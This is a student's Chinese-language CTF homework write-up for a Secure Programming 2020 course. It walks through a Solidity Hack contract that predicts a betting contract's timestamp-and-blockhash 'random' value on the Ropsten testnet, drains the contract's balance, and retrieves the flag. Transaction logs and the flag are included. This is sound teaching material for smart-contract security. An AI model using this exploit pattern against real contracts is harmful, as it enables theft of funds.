

Secure Programming 2020

HW3 write-up

Hack.sol 附在.zip裡

跟reentrancy類似,目標都是讓題目contract的balance是零,才能拿到flag,在這題中,要讓題目contract呼叫receive把錢退回去,必須輸入一個guess值,使得這個guess值等於題目contract中呼叫的getRandom()的return值。

```
...
require(address(instances[msg.sender]).balance == 0);
//need to let the instance's balance to be 0 to get flag.
...
if (guess == getRandom()) {
    msg.sender.call{value: address(this).balance}("");
    //need to let the contract withdraw money to user to let the balance to
    be 0.
...

```

getRandom()中return值rand會用到private unit seed,這個seed會在contract的時候初始化,而Bet contract會在我們呼叫BetFactory的create的時候construct,用的值是block的timestamp,所以seed的初始值就是這個block的timestamp。

```
...
contract BetFactory {
    ...
    function create () public payable {
        ...
        instances[msg.sender] = address(new Bet(msg.sender, block.timestamp
        )); //initailize seed with block timestamp
    ...
}

```

除了seed以外,getRandom()還用了block number作blockhash的值,block number在同一個transaction都是一樣,所以我們可以透過在另一個hack contract重現getRandom()的公式得到正確的rand值。

跟reentrancy一樣,我們需要實做另一個hack contract來跟題目的Bet contract作互動。

在hack contract中首先我們先實做一個create function,這個function會呼叫BetFactory的create來製造一個contract的instance,同時我們也需要把這一個block的timestamp給記錄下來。

```
function create (address _factory) public payable {
    BetFactory factory = BetFactory(_factory);
    //record timestamp used to for seed initialization
    timestamp = block.timestamp;
    //call BetFactory create
    factory.create{value: msg.value}();
}

```

然後再實做run function,這個function會根據getRandom()的算式計算出guess,然後用這個guess值呼叫Bet的bet function,來使得Bet contract退款給我們.

```
function run (address _target) public payable {
    target = _target;

    Bet instance = Bet(target);
    //used timestamp stored before and this block number to calculate
    correct random value.
    uint guess = timestamp ^ uint(blockhash(block.number - 1));
    //call bet function to let the contract withdraw money
    instance.bet{value: msg.value}(guess);
}
```

最後再實做一個validate的function用來通過validate.

```
function validate (address _factory, uint token) public {
    BetFactory factory = BetFactory(_factory);
    factory.validate(token);
}
```

不要忘了還要加上receive function.

```
receive () external payable {}
```

接下來需要把這個hack contract用remix部署到block chain上.

Transaction Details

[Overview](#) [State](#)

[This is a Ropsten **Testnet** transaction only]

| | |
|-------------------|--------------------------------------------------------------------|
| Transaction Hash: | 0x6897bc437b0521b01e47f4f7b4e4d0fee25b89e45ce8e0df58d2d29f5c2a4b73 |
| Status: | Success |
| Block: | 8962677 3 Block Confirmations |
| Timestamp: | 15 secs ago (Oct-28-2020 03:48:45 AM +UTC) |
| From: | 0x15f0d93dd29788d49b6b6c61e2da42b42a4faa65 |
| To: | [Contract 0x77b610268508fe3563c8fef3e20330605df6f3a1 Created] |
| Value: | 0 Ether (\$0.00) |
| Transaction Fee: | 0.00096179169874 Ether (\$0.000000) |
| Gas Price: | 0.000000004217126904 Ether (4.217126904 Gwei) |

[Click to see More](#)

然後可以用ropsten.etherscan.io操作contract,因為web3的script不太會寫.先把Hack.sol的source code上傳到ropsten.etherscan,就可以在etherscan上操作contract.

然後先呼叫hack contract的create,它會再去呼叫Bet contract 的BetFactory的create,然後分出一個instance.參數是題目contract的地址跟0.5ether.

Contract Overview

Balance: 0 Ether

More Info

My Name Tag: Not Available

Contract Creator: 0x15f0d93dd29788d49b6b6c61e2da42b42a4faa65

Transactions **Contract** Events

Code Read Contract Write Contract

Connected - Web3 [0x15f0d93dd29788d49b6b6c61e2da42b42a4faa65] [Reset]

1. create

create

0.5

_factory (address)

0x8e0a809b11413deb6427535c53383954dbf8329

Write

Transaction Details

Overview Internal Txns State

[This is a Ropsten Testnet transaction]

Transaction Hash: 0x648be08c2a2a561bc2de2666e39b79f16396b3e89f724800fctc02d530a852dd

Status: Success

Block: 8962725 7 Block Confirmations

Timestamp: 25 secs ago (Oct-28-2020 03:51:06 AM +UTC)

From: 0x15f0d93dd29788d49b6b6c61e2da42b42a4faa65

To: Contract 0x77b610268508fe3563c8fe3e203206954d6f3a1

Value: 0.5 Ether (\$0.00)

Transaction Fee: 0.00103997301441 Ether (\$0.000000)

Gas Price: 0.000000004217126904 Ether (4,217,126,904 Gwei)

Click to see More

如果create成功,可以從transaction中看到instance的地址.再呼叫hack contract的run,它會去呼叫bet contract的bet function,參數是instance的地址跟任意大於零的ether,如果成功就可以在transaction中看到之前付的錢又都傳回來了,那就是成功了.

Contract Overview

Balance: 0 Ether

More Info

My Name Tag: Not Available

Contract Creator: 0x15f0d93dd29788d49b6b6c61e2da42b42a4faa65

Transactions **Contract** Events

Code Read Contract Write Contract

Connected - Web3 [0x15f0d93dd29788d49b6b6c61e2da42b42a4faa65] [Reset]

1. create

create

0.5

_factory (address)

0x8e0a809b11413deb6427535c53383954dbf8329

Write

2. run

run

0.1

_target (address)

0xa647fea3b15c4fa46f421b304459f4f230e5530b

Write

Transaction Details

Overview Internal Txns State

[This is a Ropsten Testnet transaction]

Transaction Hash: 0x648be08c2a2a561bc2de2666e39b79f16396b3e89f724800fctc02d530a852dd

Status: Success

Block: 8962725 7 Block Confirmations

Timestamp: 25 secs ago (Oct-28-2020 03:51:06 AM +UTC)

From: 0x15f0d93dd29788d49b6b6c61e2da42b42a4faa65

To: Contract 0x77b610268508fe3563c8fe3e203206954d6f3a1

Value: 0.1 Ether (\$0.00)

Transaction Fee: 0.00103997301441 Ether (\$0.000000)

Gas Price: 0.000000004217126904 Ether (4,217,126,904 Gwei)

Click to see More

Transaction Details

Overview

Internal Txns

State

[This is a Ropsten Testnet transaction only]

Transaction Hash:

0xbc9d87991f9ed8f9aee1896cbc6ba5ff3c9d18cb00d9378f3dcde55b67328383

Status:

Success

Block:

8962745

19 Block Confirmations

Timestamp:

1 min ago (Oct-28-2020 03:52:04 AM +UTC)

From:

0x15f0d93dd29788d49b6b6c61e2da42b42a4faa65

To:

Contract 0x77b610268508fe3563c8fef3e20330605dff6f3a1

L TRANSFER 0.1 Ether From 0x77b610268508fe3563c8fef...

To → 0xa6477ea3b15c4fa46421b3...

L TRANSFER 0.6 Ether From 0xa6477ea3b15c4fa46421b3...

To → 0x77b610268508fe3563c8fef...

Value:

0.1 Ether (\$0.00)

Transaction Fee:

0.00028610254054 Ether (\$0.000000)

Gas Price:

0.000000004217126904 Ether (4.217126904 Gwei)

Click to see More

最後只要validate過了就可以得到flag,先nc 140.112.31.97 30004,得到validate用的token,再呼叫hack contract的validate,參數是題目contract的地址跟token,就可以得到flag了.

2. run

run

0.1

_target (address)

0xa647FEA3B15c4FA46F421B304459F4F230e5530b

Write

3. validate

_factory (address)

0x8e0a809B1f413deB6427535cC53383954DBF8329

token (uint256)

0x4f864024232f9509f7eab03b8c67ffb445bee1a6aa0cd54c961ce4c68ff18870

Write

Powered by Etherscan.io. Browse source code

4.217126904

40108

AMOUNT + GAS FEE

TOTAL

0.000169

No Conversion Rate Available

Reject

Confirm

Write - Your code is not saved

yang@yang-ubuntu:~/Secure-Programming2020/hw03/Bet\$ vim lib.js

yang@yang-ubuntu:~/Secure-Programming2020/hw03/Bet\$ nc 140.112.31.97 30004

Factory Contract Address : 0x8e0a809B1f413deB6427535cC53383954DBF8329

1) call create() to generate new challenge instance

2) call validate(0x4f864024232f9509f7eab03b8c67ffb445bee1a6aa0cd54c961ce4c68ff18870) to get flag

----- flag will appear below -----

FLAG{CgMZBaRrk4tY1xnnEdDi}

This website uses cookies to improve your experience and has an updated Privacy Policy. Got It